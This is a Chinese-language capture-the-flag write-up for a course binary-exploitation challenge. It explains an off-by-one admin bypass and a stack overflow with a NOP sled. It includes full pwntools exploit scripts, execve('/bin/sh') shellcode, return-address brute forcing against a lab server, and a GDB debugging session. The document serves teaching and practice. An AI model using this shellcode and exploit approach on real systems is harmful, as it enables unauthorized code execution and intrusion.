Pwn02 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <openssl/sha.h> unsigned char hash[SHA256_DIGEST_LENGTH];unsigned char const good_hash[SHA256_DIGEST_LENGTH] = { 0xf1 , 0x26 , 0xd5 , 0xd9 , 0x48 , 0x1b , 0x3b , 0x2b , 0x2a , 0x03 , 0xf0 , 0xa7 , 0x75 , 0x4e , 0xf1 , 0x7d , 0x01 , 0x3d , 0x4a , 0x67 , 0x99 , 0x7b , 0x0a , 0x48 , 0x93 , 0x08 , 0x98 , 0x71 , 0x26 , 0xc0 , 0x90 , 0x3c , }; int main () { char buf[40 ] = { 0 }; long is_admin = 0 ; printf ("\x1b[36mEnter password: \x1b[33m" ); fflush(stdout ); scanf ("%40s" , buf); if (buf[strlen (buf) - 1 ] != '\n' ) strcat (buf, "\n" ); SHA256((unsigned char *) buf, strlen (buf), hash); if (!memcmp (hash, good_hash, sizeof (good_hash))) is_admin = 1 ; sleep(1 ); if (!is_admin) { printf ("\x1b[31mNope.\x1b[0m\n" ); exit (1 ); } printf ("\x1b[32mHey admin!\x1b[0m\n" ); printf ("\x1b[36m> \x1b[33m" ); fflush(stdout ); scanf ("%s" , buf); printf ("\x1b[0m" ); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 └─$ checksec vuln [*] '/home/archer/ctf-kali/praktikum_binary_exploitation/pwn02/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments Stripped: No Debuginfo: Yes
服务器方面是关闭了ASLR的。(这一点至关重要。)
和之前一样,这道题也分2个部分。第一部分我们需要绕过admin的检测,第二部分需要注入Shellcode并运行它去。
一阶段 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 char buf[40 ] = { 0 };long is_admin = 0 ;printf ("\x1b[36mEnter password: \x1b[33m" ); fflush(stdout );scanf ("%40s" , buf);if (buf[strlen (buf) - 1 ] != '\n' ) strcat (buf, "\n" ); SHA256((unsigned char *) buf, strlen (buf), hash); if (!memcmp (hash, good_hash, sizeof (good_hash))) is_admin = 1 ; sleep(1 ); if (!is_admin) { printf ("\x1b[31mNope.\x1b[0m\n" ); exit (1 ); } printf ("\x1b[32mHey admin!\x1b[0m\n" );
注意到,scanf("%40s", buf)
会最多读 40 个可见字符,并且还会再写入一个 '\0'
终止符。
紧接着 strcat(buf, "\n")
会把这个位置改写成 '\n'
,并在下一个字节 buf[41]
写入新的 '\0'
。 最后,紧跟在 buf
后面的两个字节就会变成 0x0a 0x00
(也就是 '\n'
和 '\0'
)。
也就是说当我们输入了40个字符之后,它自动就会发生溢出,将is_admin
的值修改为非零,从而绕过检测。
二阶段 1 2 3 4 printf ("\x1b[36m> \x1b[33m" ); fflush(stdout ); scanf ("%s" , buf);printf ("\x1b[0m" );
主要思路和前一题一样,将shellcode写进buf
并且通过修改返回地址运行它。但是这里有个问题:在前一题里我们会直接获得buf
的地址,所以可以精准导向。但是在这题里我们无法得知buf
的具体地址。
而如果按照这样的Payload结构:
1 [Shellcode] [Return Address]
来爆破地址的话,效率会非常低,因为我们必须精确地爆破到Shellcode(buf
)一开始的地址,地址高一位低一位都会失败。
所以我们可以利用NOP:
NOP
是 “No Operation”(不执行任何操作)的缩写,意思就是“空指令”。CPU执行一条NOP 后,什么状态都不改,只把程序计数器往前挪到下一条指令。
在 x86 上,最常见的NOP
的机器码是0x90
。
而当我们将一段很长的NOP添加在我们shellcode前面,就会让我们爆破的难度大大降低。因为我们不再需要精准地返回到shellcode一开始的地址,只要它返回到NOP中的任意位置,就会自动“滑“到后面的shellcode并执行它。
优化后的shellcode的结构:
1 [Padding] [Return Address] [NOP] [Shellcode]
这样一来,我们爆破地址的中间的间隔可以直接设置成NOP的长度,这样并不会错过我们的NOP以及Shellcode,确保了爆破一定能成功并且提高了爆破的效率。
这个方法可行有2点前提:
服务器关闭了ASLR,并且程序关闭了PIE,所以Stack地址一直是(比较)固定的;
程序使用的是scanf,scanf是不会检查输入长度的,只需要确保shellcode里没有包含0x00
即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 sc = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" NOP_len = 0x100 NOP = b'\x90' * NOP_len code = NOP + sc def one (addr_int ): r = remote('hacky1' , 13702 , timeout=2.0 , fam=socket.AF_INET) try : r.sendlineafter (b"Password:" , b"Password" ) r.sendlineafter(b"Enter password:" ,b'A' * 40 ) r.recvuntil(b'>' ) payload = b'A' *0x38 + p64(addr_int) + code r.sendline(payload) time.sleep(0.5 ) r.sendline(b'/bin/get_flag' ) data = r.recvrepeat(0.5 ) or b'' if b'flag' in data.lower(): flag(data) return True return False except EOFError: return False except Exception as e: return False finally : r.close() def brute (): base = 0x7fffffffefff total = 0xffff for i in range (0 , total, NOP_len): addr_int = base - i if one(addr_int): return time.sleep(0.03 ) log.failure("Failed" ) brute()
注意,代码里的那个time.sleep(0.5)
至关重要,因为如果连续发两条消息,那么就有可能无法及时接收所有的消息,导致就算成功了也不知道。
Exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import *import timedef flag (output ): if b"flag_" in output: flag_begin = output.find(b"flag_" ) flag_end = output.find(b"\n" , flag_begin) flag = output[flag_begin:flag_end].decode('utf-8' ) print (flag) else : print ('Fail' ) context.clear(arch='amd64' , os='linux' ) sc = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" NOP_len = 0x100 NOP = b'\x90' * NOP_len code = NOP + sc def one (addr_int ): r = remote('hacky1' , 13702 , timeout=2.0 , fam=socket.AF_INET) try : r.sendlineafter (b"Password:" , b"Password" ) r.sendlineafter(b"Enter password:" ,b'A' * 40 ) r.recvuntil(b'>' ) payload = b'A' *0x38 + p64(addr_int) + code r.sendline(payload) time.sleep(0.5 ) r.sendline(b'/bin/get_flag' ) data = r.recvrepeat(0.5 ) or b'' if b'flag' in data.lower(): flag(data) return True return False except EOFError: return False except Exception as e: return False finally : r.close() def brute (): base = 0x7fffffffefff total = 0xffff for i in range (0 , total, NOP_len): addr_int = base - i if one(addr_int): return time.sleep(0.03 ) log.failure("Failed" ) brute()
本地测试 (注意,本地测试共需要用到2个终端。)
首先打开一个终端搭建Docker环境:
1 sudo docker build -t test2 .
打开Docker,并设置好这道题所需的条件,比如说关闭ASLR:
1 2 3 4 5 6 7 8 9 10 11 12 13 └─$ sudo docker run -d -p 1337:1337 \ --name fnetd \ --cap-add=SYS_PTRACE \ --security-opt seccomp=unconfined \ -e FNETD_PASSWORD=fnetd_password \ test2 \ setarch -R /fnetd/build/fnetd -p 1337 -u pwn -lt 2 -lm 536870912 ./vuln 62f8afcdf696e6f5944c58745e43555cfe25ed24e36294e9d752c4b5fa054e96 └─$ sudo docker exec -it fnetd bash root@62f8afcdf696:/#
先用另一个终端运行这个Python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *import timecontext.clear(arch='amd64' , os='linux' ) r = remote("127.0.0.1" , 1337 ) P = b'fnetd_password\n' sc = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" NOP_len = 0x100 NOP = b'\x90' * NOP_len code = NOP + sc def one (addr ): try : r.recvuntil(b'Password:' ) r.send(P) r.recvuntil(b'Enter password' ) r.sendline(b'A' * 40 ) print (r.recvuntil(b'>' )) input () payload = b'A' *0x38 + p64(addr) + code r.sendline(payload) r.interactive() r.close() return False except Exception: return False def brute (): addr = 0x7fffffffed00 + 0x50 if one(addr): return log.failure("Failed" ) brute()
然后趁它暂停的时候(等待input()
那里),我们返回一开始的终端。先查看当前有哪些跟vuln相关的程序在运行,并找到因为nc
生成的./vuln
程序并确定它的PID(这里是29 ./vuln
),然后使用GDB打开这个PID的程序,便可以开始GDB调试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 root@62f8afcdf696:/# pgrep -af vuln 1 /fnetd/build/fnetd -p 1337 -u pwn -lt 2 -lm 536870912 ./vuln 7 sh -c ./vuln 8 ./vuln 16 gdb -q /home/pwn/vuln -p 8 28 sh -c ./vuln 29 ./vuln root@62f8afcdf696:/# gdb -q /home/pwn/vuln -p 29 Reading symbols from /home/pwn/vuln... Attaching to program: /home/pwn/vuln, process 29 Reading symbols from /lib/x86_64-linux-gnu/libcrypto.so.3... (No debugging symbols found in /lib/x86_64-linux-gnu/libcrypto.so.3) Reading symbols from /lib/x86_64-linux-gnu/libc.so.6... (No debugging symbols found in /lib/x86_64-linux-gnu/libc.so.6) Reading symbols from /lib/x86_64-linux-gnu/libz.so.1... (No debugging symbols found in /lib/x86_64-linux-gnu/libz.so.1) Reading symbols from /lib/x86_64-linux-gnu/libzstd.so.1... (No debugging symbols found in /lib/x86_64-linux-gnu/libzstd.so.1) Reading symbols from /lib64/ld-linux-x86-64.so.2... (No debugging symbols found in /lib64/ld-linux-x86-64.so.2) [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1" . 0x00007ffff781d687 in ?? () from /lib/x86_64-linux-gnu/libc.so.6 (gdb)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 (gdb) bt (gdb) frame 7 21 in vuln.c (gdb) info locals buf = '\000' <repeats 39 times > is_admin = 0 (gdb) p &buf $1 = (char (*)[40]) 0x7fffffffed00(gdb)
在第二个终端上输入一个回车(让Python脚本继续运行并发送Payload),便可以(在第一个终端的GDB里)看到buf
已经被写成了我们Payload里预想的样子:
1 2 3 4 5 (gdb) info locals buf = 'A' <repeats 40 times > is_admin = 10 (gdb) c Continuing.
之后继续输入命令c
便可以看到GDB里已经显示程序在execve("/usr/bin/dash")
(/bin/sh
在 Debian 是 dash
):
然后返回运行python脚本的terminal也可以发现我们成功拿到shell了。也就是说本地测试成功了。
之后再本地把爆破的版本也跑成功就可以去跑服务器了。
心路历程 一开始尝试直接将Shellcode写进buf
里,然后爆破返回地址,最后失败了。
而后,在阅读了这篇论文 Aleph One, “Smashing The Stack For Fun And Profit”, 1996 (这篇论文真的有好些年头了)之后,了解并理解了使用NOP
来简化爆破难度,或者说提高爆破成功率的方法。
但是所有步骤都写完了之后进行测试,发现一直不成功。调了很久都还是没有调出来。
之后便开始研究如何使用给的Dockerfile并且先跑本地测试。(我一直以来都嫌本地测试很麻烦,就是搭建环境之类的,并且事实确实如此。所以很少本地测试,尤其是这道题目的环境及其复杂,关闭这个ASLR我真的研究了好久。)但是搭建环境的时候遇到各种问题,环境都一直搭不好,更别说跑成功了。
这个时候心态已经很崩了,因为甚至不知道问题到底出在哪里。是shellcode的问题?是爆破算法的问题?还是说是什么其他的问题。于是决定询问Fabian(这门课的负责人)。在他先肯定了我的思路并询问起我本地测试具体是哪里出问题了之后,我决定再从头开始认认真真仔仔细细地搭建一遍Docker,并且完整地进行一遍本地调试的操作。在他的帮助下我终于本地测试成功了。只不过我这个时候的本地测试的版本是使用的比较精确的buf
地址,并没有尝试爆破的流程。
于是我又兴致勃勃地跑去连接服务器测试,但还是失败了。这时候我再次本地测试发现,使用精确地址的版本一直可以成功,但是爆破版本一直失败。
最后谁能想到这道题居然又是因为time.sleep()卡住的呢(我在发送完Payload
后并没有等待或者等待接收数据就直接连着发送的get_flag
的命令)。去年刚好也是差不多这个点,也IT Sicherheit的作业(Padding Oracle)的时候,也是因为这个原因一直没法成功。
所以说这次学聪明了:
与服务器交互时,一定要尽量避免连续使用send
发送数据,中间尽量插入recv_until
,或者是time.sleep()
。